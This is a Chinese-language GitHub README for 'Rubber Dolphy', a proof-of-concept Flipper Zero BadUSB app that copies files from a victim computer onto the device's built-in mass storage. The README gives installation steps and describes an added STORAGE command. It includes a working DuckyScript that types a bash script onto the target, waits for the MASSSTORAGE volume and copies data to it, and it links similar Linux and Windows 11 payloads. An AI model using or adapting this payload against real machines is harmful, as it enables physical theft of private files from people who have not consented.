carvilsi/rubber-dolphy

GitHub: carvilsi/rubber-dolphy

这是一个针对 FlipperZero 的概念验证工具,通过扩展 BadUSB 指令集结合大容量存储模式,实现将受害主机的文件直接窃取并存储到设备本地。

Stars: 14 | Forks: 0

:broom: CutreLabs 呈现 :broom: Rubber Dolphy 一个针对 FlipperZero 的 BadUSB 概念验证 (PoC),具备通过大容量存储在设备上进行数据渗透的能力
# Rubber Dolphy 其核心思路是在将 FlipperZero 用作 **BadUSB** 设备时,找到一种方法将数据复制到 FlipperZero 中,以执行数据渗透。 目前该项目仍处于早期代码阶段(只是一个 hack),不仅是一个 PoC,而且有点像“只在我的电脑上能用”。我在 **Arch Linux** 和 **Windows 11** 电脑上进行了测试。在 Mac OS 上进行测试仍在 TODO 列表中。 我有一些想法想要尝试,以改进整体功能并推出新特性,打造一个更有用、更通用的 FlipperZero BadUSB 设备。如果我觉得这个项目反响良好,人们尝试它并至少通过 :star: 给予支持,我会考虑继续推进这些想法。 目前,用于大容量存储功能的镜像大小为 4.2 MB,类型为 FAT(12 位版本)。 ## 演示 ### Linux ![Linux PoC](https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/flipper_exfiltration_bad_usb_linux_poc.webp) ### Windows ![Windows PoC](https://github.com/carvilsi/rubber-dolphy/blob/main/.github/images/flipper_exfiltration_bad_usb_windows_poc.webp) ## 安装和运行 将此仓库克隆到你机器上的某个位置。 ### Flipper Zero 准备工作 - 在 *SD Card/apps_data/* 下创建 *rubber_dolphy* 文件夹 - 在 *SD Card/apps_data/rubber_dolphy* 下创建 *msi* 文件夹 - 将 *rubber-dolphy/mass_storage_img/rdbdsbms.img* 复制到 *SD Card/apps_data/rubber_dolphy/msi/* ### 编译并在 Flipper Zero 上启动 将 *rubber_dolphy_app* 文件夹复制到 FlipperZero 固件上的 *applications_user* 文件夹中。 在 *flipperzero-firmware* 文件夹下: `$ ./fbt launch APPSRC=rubber_dolphy` Rubber-Dolpy FAP 将位于 *Apps/USB/* 下 ### 上传 FAP 除了编译和启动应用程序之外,在**完成 FlipperZero 准备步骤**后,你也可以从 [releases](https://github.com/carvilsi/rubber-dolphy/releases) 下载最新的 *rubber_dolphy.fap* 并上传到 FlipperZero 的 *SD Card/apps/USB/* 文件夹中。 别忘了检查 sha256sum ;) ### Ducky Scripts 在本仓库的 [ducky_scripts_examples 文件夹](https://github.com/carvilsi/rubber-dolphy/tree/main/ducky_scripts_examples) 中,你会找到针对 Linux 和 Windows 的示例。还有一个简单的 DuckyScript 叫做 *mount_mass_storage_img*,用于在你的笔记本电脑上访问大容量存储并获取已复制的数据。 目前 **Rubber Dolphy** 仍然使用官方的 *BadUSB* FlipperZero app 资源文件夹来处理 *layouts* 并选择要运行的 *duckyscript*,因此你必须将你的 duckyscripts 上传到 *SD Card/badusb/* 文件夹。 #### 工作原理 目前,从受害机器进行渗透需要在 FlipperZero 上手动操作以执行收集到的数据的复制。这是我想改进的点之一,试图在 DuckyScript 完成时跳过点击操作。 在 [BadUSB File Format](https://developer.flipper.net/flipperzero/doxygen/badusb_file_format.html) 的命令集中添加了一个名为 **STORAGE** 的新命令,以便在 DuckyScript 完成后在 FlipperZero 上启用大容量存储模式。然后在 BadUSB GUI 上会出现一个名为 *Exflt* 的按钮。

badusb_exfiltration

按下按钮时,FlipperZero 将退出 BadUSB 模式并挂载一个大容量存储设备,在受威胁机器上该设备的预期名称为 *MASSSTORAGE*。

badusb_masstorage

DuckyScript 会复制并运行一个脚本,等待该设备在受害机器上可用,然后将需要渗透的数据复制过去。 一旦文件被复制到 FlipperZero,**按下 Back 按钮** 以退出 *大容量存储* 模式并切换回 *badusb* 模式。可以再次运行另一个 DuckyScript。目前无法知道数据是否已复制到 FlipperZero;最好在 DuckyScript 的复制过程末尾添加一个反馈。 这是一个从 [Linux 示例](https://github.com/carvilsi/rubber-dolphy/blob/main/ducky_scripts_examples/exfiltration_linux_poc.txt) 中提取的上述机制的 DuckyScript 示例。 ``` REM =================== Exfiltration PoC =================== REM Command to tell Flipper that will be exfiltration REM Could be place at the begining of the file (after the ID if is there) STORAGE REM Create a bash script to do the exfiltration STRINGLN cat > exfiltration.sh << EOF STRINGLN #!/bin/bash STRINGLN # Create a function to get the Mass Storage path STRINGLN gms(){ ms=\$(df|awk '/MASSSTORAGE/{print \$6}');} STRINGLN # Repeat until get the Mass Storage path STRINGLN until [ \`echo \$ms 2>/dev/null\` ];do gms;done; REM Copy the generated file on the Mass Storage STRINGLN cp my_data.txt \$ms REM Feedback on finish copying STRINGLN echo done :\) STRINGLN EOF REM Execute the script STRINGLN sh exfiltration.sh REM ======================================================= ``` 可以在 [Windows 11 示例](https://github.com/carvilsi/rubber-dolphy/blob/main/ducky_scripts_examples/exfiltration_win11_poc.txt) 中查看类似的机制。 ## 备注 这个 PoC 的灵感来源于此 [FlipperZero Issue](https://github.com/flipperdevices/flipperzero-firmware/issues/1040) 我结合了 [FlipperZero BadUSB](https://github.com/flipperdevices/flipperzero-firmware/tree/dev/applications/main/bad_usb) 的代码和 [flipperzero-good-faps mass_storage app](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/mass_storage) 的代码
标签:BadUSB, FAP 应用, FAT 文件系统, Flipper Zero, Mass Storage, PoC, UML, USB HID, Windows 11, 固件开发, 大容量存储, 客户端加密, 攻击路径可视化, 数据渗透, 数据窃取, 暴力破解, 概念验证, 物理安全, 硬件黑客, 黑客工具